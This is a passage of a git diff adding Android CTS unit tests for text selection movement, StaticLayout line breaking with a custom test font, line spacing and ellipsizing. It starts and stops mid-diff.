+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 1, 3);
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(7, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(15, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(text.length(), Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testExtendDownKeepsOriginalMemoryPosition() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMultilineLengthMoveUp() {
+ CharSequence text = "a\n\na";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 4);
+ // Move up to empty line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(2, Selection.getSelectionStart(builder));
+ assertEquals(2, Selection.getSelectionEnd(builder));
+
+ // Move up to first line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMultilineLengthExtendUp() {
+ CharSequence text = "Google\n\nhello, world";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(0, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 9, 16);
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(9, Selection.getSelectionStart(builder));
+ assertEquals(7, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(9, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(9, Selection.getSelectionStart(builder));
+ assertEquals(0, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testExtendUpKeepsOriginalMemoryPosition() {
+ CharSequence text = "aa\nm";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 1, 1);
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMultilineLengthMoveDownAfterSelection() {
+ CharSequence text = "aaaaa\n\naaaaa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 3);
+ // Move down to empty line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 5);
+ // Move down to empty line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(5, Selection.getSelectionStart(builder));
+ assertEquals(5, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMultilineLengthMoveUpAfterSelection() {
+ CharSequence text = "aaaaa\n\naaaaa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 10);
+ // Move up to empty line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(10, Selection.getSelectionStart(builder));
+ assertEquals(10, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 12);
+ // Move up to empty line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(12, Selection.getSelectionStart(builder));
+ assertEquals(12, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
public void testExtendSelection() {
CharSequence text = "hello, world";
SpannableStringBuilder builder = new SpannableStringBuilder(text);
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
new file mode 100644
index 0000000..adb8f97
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
@@ -0,0 +1,459 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;;
+import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
+import android.text.Layout.Alignment;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextDirectionHeuristics;
+import android.text.TextPaint;
+import android.text.style.MetricAffectingSpan;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StaticLayoutLineBreakingTest {
+ // Span test are currently not supported because text measurement uses the MeasuredText
+ // internal mWorkPaint instead of the provided MockTestPaint.
+ private static final boolean SPAN_TESTS_SUPPORTED = false;
+ private static final boolean DEBUG = false;
+
+ private static final float SPACE_MULTI = 1.0f;
+ private static final float SPACE_ADD = 0.0f;
+ private static final int WIDTH = 100;
+ private static final Alignment ALIGN = Alignment.ALIGN_NORMAL;
+
+ private static final char SURR_FIRST = '\uD800';
+ private static final char SURR_SECOND = '\uDF31';
+
+ private static final int[] NO_BREAK = new int[] {};
+
+ private static final TextPaint sTextPaint = new TextPaint();
+
+ static {
+ // The test font has following coverage and width.
+ // U+0020: 10em
+ // U+002E (.): 10em
+ // U+0043 (C): 100em
+ // U+0049 (I): 1em
+ // U+004C (L): 50em
+ // U+0056 (V): 5em
+ // U+0058 (X): 10em
+ // U+005F (_): 0em
+ // U+FFFD (invalid surrogate will be replaced to this): 7em
+ // U+10331 (\uD800\uDF31): 10em
+ Context context = InstrumentationRegistry.getTargetContext();
+ sTextPaint.setTypeface(Typeface.createFromAsset(context.getAssets(),
+ "fonts/StaticLayoutLineBreakingTestFont.ttf"));
+ sTextPaint.setTextSize(1.0f); // Make 1em == 1px.
+ }
+
+ private static StaticLayout getStaticLayout(CharSequence source, int width,
+ int breakStrategy) {
+ return StaticLayout.Builder.obtain(source, 0, source.length(), sTextPaint, width)
+ .setAlignment(ALIGN)
+ .setLineSpacing(SPACE_ADD, SPACE_MULTI)
+ .setIncludePad(false)
+ .setBreakStrategy(breakStrategy)
+ .build();
+ }
+
+ private static int[] getBreaks(CharSequence source) {
+ return getBreaks(source, WIDTH, Layout.BREAK_STRATEGY_SIMPLE);
+ }
+
+ private static int[] getBreaks(CharSequence source, int width, int breakStrategy) {
+ final StaticLayout staticLayout = getStaticLayout(source, width, breakStrategy);
+
+ final int[] breaks = new int[staticLayout.getLineCount() - 1];
+ for (int line = 0; line < breaks.length; line++) {
+ breaks[line] = staticLayout.getLineEnd(line);
+ }
+ return breaks;
+ }
+
+ private static void debugLayout(CharSequence source, StaticLayout staticLayout) {
+ if (DEBUG) {
+ int count = staticLayout.getLineCount();
+ Log.i("SLLBTest", "\"" + source.toString() + "\": "
+ + count + " lines");
+ for (int line = 0; line < count; line++) {
+ int lineStart = staticLayout.getLineStart(line);
+ int lineEnd = staticLayout.getLineEnd(line);
+ Log.i("SLLBTest", "Line " + line + " [" + lineStart + ".."
+ + lineEnd + "]\t" + source.subSequence(lineStart, lineEnd));
+ }
+ }
+ }
+
+ private static void layout(CharSequence source, int[] breaks) {
+ layout(source, breaks, WIDTH);
+ }
+
+ private static void layout(CharSequence source, int[] breaks, int width) {
+ final int[] breakStrategies = {Layout.BREAK_STRATEGY_SIMPLE,
+ Layout.BREAK_STRATEGY_HIGH_QUALITY};
+ for (int breakStrategy : breakStrategies) {
+ final StaticLayout staticLayout = getStaticLayout(source, width, breakStrategy);
+
+ debugLayout(source, staticLayout);
+
+ final int lineCount = breaks.length + 1;
+ assertEquals("Number of lines", lineCount, staticLayout.getLineCount());
+
+ for (int line = 0; line < lineCount; line++) {
+ final int lineStart = staticLayout.getLineStart(line);
+ final int lineEnd = staticLayout.getLineEnd(line);
+
+ if (line == 0) {
+ assertEquals("Line start for first line", 0, lineStart);
+ } else {
+ assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
+ }
+
+ if (line == lineCount - 1) {
+ assertEquals("Line end for last line", source.length(), lineEnd);
+ } else {
+ assertEquals("Line end for line " + line, breaks[line], lineEnd);
+ }
+ }
+ }
+ }
+
+ private static void layoutMaxLines(CharSequence source, int[] breaks, int maxLines) {
+ final StaticLayout staticLayout = StaticLayout.Builder
+ .obtain(source, 0, source.length(), sTextPaint, WIDTH)
+ .setAlignment(ALIGN)
+ .setTextDirection(TextDirectionHeuristics.LTR)
+ .setLineSpacing(SPACE_ADD, SPACE_MULTI)
+ .setIncludePad(false)
+ .setMaxLines(maxLines)
+ .build();
+
+ debugLayout(source, staticLayout);
+
+ final int lineCount = staticLayout.getLineCount();
+
+ for (int line = 0; line < lineCount; line++) {
+ int lineStart = staticLayout.getLineStart(line);
+ int lineEnd = staticLayout.getLineEnd(line);
+
+ if (line == 0) {
+ assertEquals("Line start for first line", 0, lineStart);
+ } else {
+ assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
+ }
+
+ if (line == lineCount - 1 && line != breaks.length - 1) {
+ assertEquals("Line end for last line", source.length(), lineEnd);
+ } else {
+ assertEquals("Line end for line " + line, breaks[line], lineEnd);
+ }
+ }
+ }
+
+ private static final int MAX_SPAN_COUNT = 10;
+ private static final int[] sSpanStarts = new int[MAX_SPAN_COUNT];
+ private static final int[] sSpanEnds = new int[MAX_SPAN_COUNT];
+
+ private static MetricAffectingSpan getMetricAffectingSpan() {
+ return new MetricAffectingSpan() {
+ @Override
+ public void updateDrawState(TextPaint tp) { /* empty */ }
+
+ @Override
+ public void updateMeasureState(TextPaint p) { /* empty */ }
+ };
+ }
+
+ /**
+ * Replaces the "<...>" blocks by spans, assuming non overlapping, correctly defined spans
+ * @param text
+ * @return A CharSequence with '<' '>' replaced by MetricAffectingSpan
+ */
+ private static CharSequence spanify(String text) {
+ int startIndex = text.indexOf('<');
+ if (startIndex < 0) return text;
+
+ int spanCount = 0;
+ do {
+ int endIndex = text.indexOf('>');
+ if (endIndex < 0) throw new IllegalArgumentException("Unbalanced span markers");
+
+ text = text.substring(0, startIndex) + text.substring(startIndex + 1, endIndex)
+ + text.substring(endIndex + 1);
+
+ sSpanStarts[spanCount] = startIndex;
+ sSpanEnds[spanCount] = endIndex - 2;
+ spanCount++;
+
+ startIndex = text.indexOf('<');
+ } while (startIndex >= 0);
+
+ SpannableStringBuilder result = new SpannableStringBuilder(text);
+ for (int i = 0; i < spanCount; i++) {
+ result.setSpan(getMetricAffectingSpan(), sSpanStarts[i], sSpanEnds[i],
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ }
+ return result;
+ }
+
+ @Test
+ public void testNoLineBreak() {
+ // Width lower than WIDTH
+ layout("", NO_BREAK);
+ layout("I", NO_BREAK);
+ layout("V", NO_BREAK);
+ layout("X", NO_BREAK);
+ layout("L", NO_BREAK);
+ layout("I VILI", NO_BREAK);
+ layout("XXXX", NO_BREAK);
+ layout("LXXXX", NO_BREAK);
+
+ // Width equal to WIDTH
+ layout("C", NO_BREAK);
+ layout("LL", NO_BREAK);
+ layout("L XXXX", NO_BREAK);
+ layout("XXXXXXXXXX", NO_BREAK);
+ layout("XXX XXXXXX", NO_BREAK);
+ layout("XXX XXXX X", NO_BREAK);
+ layout("XXX XXXXX ", NO_BREAK);
+ layout(" XXXXXXXX ", NO_BREAK);
+ layout(" XX XXX ", NO_BREAK);
+ // 0123456789
+
+ // Width greater than WIDTH, but no break
+ layout(" XX XXX ", NO_BREAK);
+ layout("XX XXX XXX ", NO_BREAK);
+ layout("XX XXX XXX ", NO_BREAK);
+ layout("XXXXXXXXXX ", NO_BREAK);
+ // 01234567890
+ }
+
+ @Test
+ public void testOneLineBreak() {
+ // 01234567890
+ layout("XX XXX XXXX", new int[] {7});
+ layout("XX XXXX XXX", new int[] {8});
+ layout("XX XXXXX XX", new int[] {9});
+ layout("XX XXXXXX X", new int[] {10});
+ // 01234567890
+ layout("XXXXXXXXXXX", new int[] {10});
+ layout("XXXXXXXXX X", new int[] {10});
+ layout("XXXXXXXX XX", new int[] {9});
+ layout("XXXXXXX XXX", new int[] {8});
+ layout("XXXXXX XXXX", new int[] {7});
+ // 01234567890
+ layout("LL LL", new int[] {3});
+ layout("LLLL", new int[] {2});
+ layout("C C", new int[] {2});
+ layout("CC", new int[] {1});
+ }
+
+ @Test
+ public void testSpaceAtBreak() {
+ // 0123456789012
+ layout("XXXX XXXXX X", new int[] {11});
+ layout("XXXXXXXXXX X", new int[] {11});
+ layout("XXXXXXXXXV X", new int[] {11});
+ layout("C X", new int[] {2});
+ }
+
+ @Test
+ public void testMultipleSpacesAtBreak() {
+ // 0123456789012
+ layout("LXX XXXX", new int[] {4});
+ layout("LXX XXXX", new int[] {5});
+ layout("LXX XXXX", new int[] {6});
+ layout("LXX XXXX", new int[] {7});
+ layout("LXX XXXX", new int[] {8});
+ }
+
+ @Test
+ public void testZeroWidthCharacters() {
+ // 0123456789012345678901234
+ layout("X_X_X_X_X_X_X_X_X_X", NO_BREAK);
+ layout("___X_X_X_X_X_X_X_X_X_X___", NO_BREAK);
+ layout("C_X", new int[] {2});
+ layout("C__X", new int[] {3});
+ }
+
+ /**
+ * Note that when the text has spans, StaticLayout does not use the provided TextPaint to
+ * measure text runs anymore. This is probably a bug.
+ * To be able to use the fake sTextPaint and make this test pass, use mPaint instead of
+ * mWorkPaint in MeasuredText#addStyleRun
+ */
+ @Test
+ public void testWithSpans() {
+ if (!SPAN_TESTS_SUPPORTED) return;
+
+ layout(spanify("<012 456 89>"), NO_BREAK);
+ layout(spanify("012 <456> 89"), NO_BREAK);
+ layout(spanify("<012> <456>< 89>"), NO_BREAK);
+ layout(spanify("<012> <456> <89>"), NO_BREAK);
+
+ layout(spanify("<012> <456> <89>012"), new int[] {8});
+ layout(spanify("<012> <456> 89<012>"), new int[] {8});
+ layout(spanify("<012> <456> <89><012>"), new int[] {8});
+ layout(spanify("<012> <456> 89 <123>"), new int[] {11});
+ layout(spanify("<012> <456> 89< 123>"), new int[] {11});
+ layout(spanify("<012> <456> <89> <123>"), new int[] {11});
+ layout(spanify("012 456 89 <LXX> XX XX"), new int[] {11, 18});
+ }
+
+ /*
+ * Adding a span to the string should not change the layout, since the metrics are unchanged.
+ */
+ @Test
+ public void testWithOneSpan() {
+ if (!SPAN_TESTS_SUPPORTED) return;
+
+ String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
+ "012 456 89012 456 89012", "0123456789012" };
+
+ MetricAffectingSpan metricAffectingSpan = getMetricAffectingSpan();
+
+ for (String text : texts) {
+ // Get the line breaks without any span
+ int[] breaks = getBreaks(text);
+
+ // Add spans on all possible offsets
+ for (int spanStart = 0; spanStart < text.length(); spanStart++) {
+ for (int spanEnd = spanStart; spanEnd < text.length(); spanEnd++) {
+ SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+ ssb.setSpan(metricAffectingSpan, spanStart, spanEnd,
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ layout(ssb, breaks);
+ }
+ }
+ }
+ }
+
+ @Test
+ public void testWithTwoSpans() {
+ if (!SPAN_TESTS_SUPPORTED) return;
+
+ String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
+ "012 456 89012 456 89012", "0123456789012" };
+
+ MetricAffectingSpan metricAffectingSpan1 = getMetricAffectingSpan();
+ MetricAffectingSpan metricAffectingSpan2 = getMetricAffectingSpan();
+
+ for (String text : texts) {
+ // Get the line breaks without any span
+ int[] breaks = getBreaks(text);
+
+ // Add spans on all possible offsets
+ for (int spanStart1 = 0; spanStart1 < text.length(); spanStart1++) {
+ for (int spanEnd1 = spanStart1; spanEnd1 < text.length(); spanEnd1++) {
+ SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+ ssb.setSpan(metricAffectingSpan1, spanStart1, spanEnd1,
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+
+ for (int spanStart2 = 0; spanStart2 < text.length(); spanStart2++) {
+ for (int spanEnd2 = spanStart2; spanEnd2 < text.length(); spanEnd2++) {
+ ssb.setSpan(metricAffectingSpan2, spanStart2, spanEnd2,
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ layout(ssb, breaks);
+ }
+ }
+ }
+ }
+ }
+ }
+
+ public static String replace(String string, char c, char r) {
+ return string.replaceAll(String.valueOf(c), String.valueOf(r));
+ }
+
+ @Test
+ public void testWithSurrogate() {
+ layout("LX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
+ layout("LXXXX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
+ // LXXXXI (91) + SURR_FIRST + SURR_SECOND (10). Do not break in the middle point of
+ // surrogatge pair.
+ layout("LXXXXI" + SURR_FIRST + SURR_SECOND, new int[] {6});
+
+ // LXXXXI (91) + SURR_SECOND (replaced with REPLACEMENT CHARACTER. width is 7px) fits.
+ // Break just after invalid trailing surrogate.
+ layout("LXXXXI" + SURR_SECOND + SURR_FIRST, new int[] {7});
+
+ layout("C" + SURR_FIRST + SURR_SECOND, new int[] {1});
+ }
+
+ @Test
+ public void testNarrowWidth() {
+ int[] widths = new int[] { 0, 4, 10 };
+ String[] texts = new String[] { "", "X", " ", "XX", " X", "XXX" };
+
+ for (String text: texts) {
+ // 15 is such that only one character will fit
+ int[] breaks = getBreaks(text, 15, Layout.BREAK_STRATEGY_SIMPLE);
+
+ // Width under 15 should all lead to the same line break
+ for (int width: widths) {
+ layout(text, breaks, width);
+ }
+ }
+ }
+
+ @Test
+ public void testNarrowWidthZeroWidth() {
+ int[] widths = new int[] { 1, 4 };
+ for (int width: widths) {
+ layout("X.", new int[] {1}, width);
+ layout("X__", NO_BREAK, width);
+ layout("X__X", new int[] {3}, width);
+ layout("X__X_", new int[] {3}, width);
+
+ layout("_", NO_BREAK, width);
+ layout("__", NO_BREAK, width);
+
+ // TODO: The line breaking algorithms break the line too frequently in the presence of
+ // zero-width characters. The following cases document how line-breaking should behave
+ // in some cases, where the current implementation does not seem reasonable. (Breaking
+ // between a zero-width character that start the line and a character with positive
+ // width does not make sense.) Line-breaking should be fixed so that all the following
+ // tests end up on one line, with no breaks.
+ // layout("_X", NO_BREAK, width);
+ // layout("_X_", NO_BREAK, width);
+ // layout("__X__", NO_BREAK, width);
+ }
+ }
+
+ @Test
+ public void testMaxLines() {
+ layoutMaxLines("C", NO_BREAK, 1);
+ layoutMaxLines("C C", new int[] {2}, 1);
+ layoutMaxLines("C C", new int[] {2}, 2);
+ layoutMaxLines("CC", new int[] {1}, 1);
+ layoutMaxLines("CC", new int[] {1}, 2);
+ }
+}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 4f022a5..bc714b2 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -23,7 +23,9 @@
import static org.junit.Assert.fail;
import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
+import android.support.test.filters.Suppress;
import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Layout;
@@ -59,6 +61,13 @@
private static final int LINE_COUNT = 6;
private static final int LARGER_THAN_LINE_COUNT = 50;
+ private static final String LOREM_IPSUM = "Lorem ipsum dolor sit amet, consectetur adipiscing "
+ + "elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad "
+ + "minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea "
+ + "commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse "
+ + "cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non "
+ + "proident, sunt in culpa qui officia deserunt mollit anim id est laborum.";
+
/* the first line must have one tab. the others not. totally 6 lines
*/
private static final CharSequence LAYOUT_TEXT = "CharSe\tq\nChar"
@@ -203,8 +212,8 @@
// setBreakStrategy, setHyphenationFrequency, setIncludePad, and setIndents.
StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
- builder.setBreakStrategy(StaticLayout.BREAK_STRATEGY_HIGH_QUALITY);
- builder.setHyphenationFrequency(StaticLayout.HYPHENATION_FREQUENCY_FULL);
+ builder.setBreakStrategy(Layout.BREAK_STRATEGY_HIGH_QUALITY);
+ builder.setHyphenationFrequency(Layout.HYPHENATION_FREQUENCY_FULL);
builder.setIncludePad(true);
builder.setIndents(null, null);
StaticLayout layout = builder.build();
@@ -213,6 +222,38 @@
}
@Test
+ public void testSetLineSpacing_whereLineEndsWithNextLine() {
+ final float spacingAdd = 10f;
+ final float spacingMult = 3f;
+
+ // two lines of text, with line spacing, first line will have the spacing, but last line
+ // wont have the spacing
+ final String tmpText = "a\nb";
+ StaticLayout.Builder builder = StaticLayout.Builder.obtain(tmpText, 0, tmpText.length(),
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setLineSpacing(spacingAdd, spacingMult).setIncludePad(false);
+ final StaticLayout comparisonLayout = builder.build();
+
+ assertEquals(2, comparisonLayout.getLineCount());
+ final int heightWithLineSpacing = comparisonLayout.getLineBottom(0)
+ - comparisonLayout.getLineTop(0);
+ final int heightWithoutLineSpacing = comparisonLayout.getLineBottom(1)
+ - comparisonLayout.getLineTop(1);
+ assertTrue(heightWithLineSpacing > heightWithoutLineSpacing);
+
+ final String text = "a\n";
+ // build the layout to be tested
+ builder = StaticLayout.Builder.obtain("a\n", 0, text.length(), mDefaultPaint,
+ DEFAULT_OUTER_WIDTH);
+ builder.setLineSpacing(spacingAdd, spacingMult).setIncludePad(false);
+ final StaticLayout layout = builder.build();
+
+ assertEquals(comparisonLayout.getLineCount(), layout.getLineCount());
+ assertEquals(heightWithLineSpacing, layout.getLineBottom(0) - layout.getLineTop(0));
+ assertEquals(heightWithoutLineSpacing, layout.getLineBottom(1) - layout.getLineTop(1));
+ }
+
+ @Test
public void testBuilder_setJustificationMode() {
StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
@@ -222,6 +263,7 @@
// without causing any exceptions.
assertNotNull(layout);
}
+
/*
* Get the line number corresponding to the specified vertical position.
* If you ask for a position above 0, you get 0. above 0 means pixel above the fire line
@@ -1171,6 +1213,91 @@
assertTrue(layout.getEllipsisStart(0) != 0);
}
+ @Test
+ public void testEllipsize_retryEnd() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (3.4f * size);
+ final String text = "aaaa";
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.END)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ assertEquals(1, layout.getEllipsisStart(0)); // After the first 'a'
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ @Test
+ public void testEllipsize_retryEndRtl() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (3.4f * size);
+ final String text = "\u202Eaaaa"; // U+202E is the RIGHT-TO-LEFT OVERRIDE.
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.END)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ assertEquals(2, layout.getEllipsisStart(0)); // After the first 'a'
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ @Test
+ public void testEllipsize_retryStart() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (3.4f * size);
+ final String text = "aaaa";
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.START)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ assertEquals(0, layout.getEllipsisStart(0));
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ @Test
+ public void testEllipsize_retryMiddle() {
+ final float size = 100.0f;
+
+ final int allocatedWidth = (int) (5.9f * size);
+ final String text = "aaaaaa";
+ final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+ getTextPaintForEllipsize(size), allocatedWidth)
+ .setEllipsize(TextUtils.TruncateAt.MIDDLE)
+ .setEllipsizedWidth(allocatedWidth)
+ .setMaxLines(1)
+ .build();
+ final int ellipsisStart = layout.getEllipsisStart(0);
+ assertTrue(ellipsisStart == 1 || ellipsisStart == 2);
+ assertEquals(3, layout.getEllipsisCount(0));
+ }
+
+ private TextPaint getTextPaintForEllipsize(float size) {
+ // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+ // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+ // ellipsis, half an em is added between them as kerning. This means that:
+ // "aaaa" is 4 ems wide,
+ // "aaa…" is 4.5 ems wide,
+ // "aa…" is 3.5 ems wide,
+ // "a…" is 2.5 ems wide,
+ // "aa…aa" is 6 ems wide,
+ // "aa…a" is 5 ems wide,
+ // "a…aa" is 5 ems wide,
+ // "a…a" is 4 ems wide,
+ // "…a" is 2.5 ems wide.
+ final TextPaint paint = new TextPaint();
+ paint.setTypeface(Typeface.createFromAsset(
+ InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+ paint.setTextSize(size);
+ return paint;
+ }
+
@Test(expected = IndexOutOfBoundsException.class)
public void testGetPrimary_shouldFail_whenOffsetIsOutOfBounds_withSpannable() {
final String text = "1\n2\n3";
@@ -1190,4 +1317,38 @@
.setEllipsize(TruncateAt.END).build();
layout.getPrimaryHorizontal(layout.getText().length());
}
+
+ // TODO: Re-enable once http://b/65207701 is fixed.
+ @Test
+ @Suppress
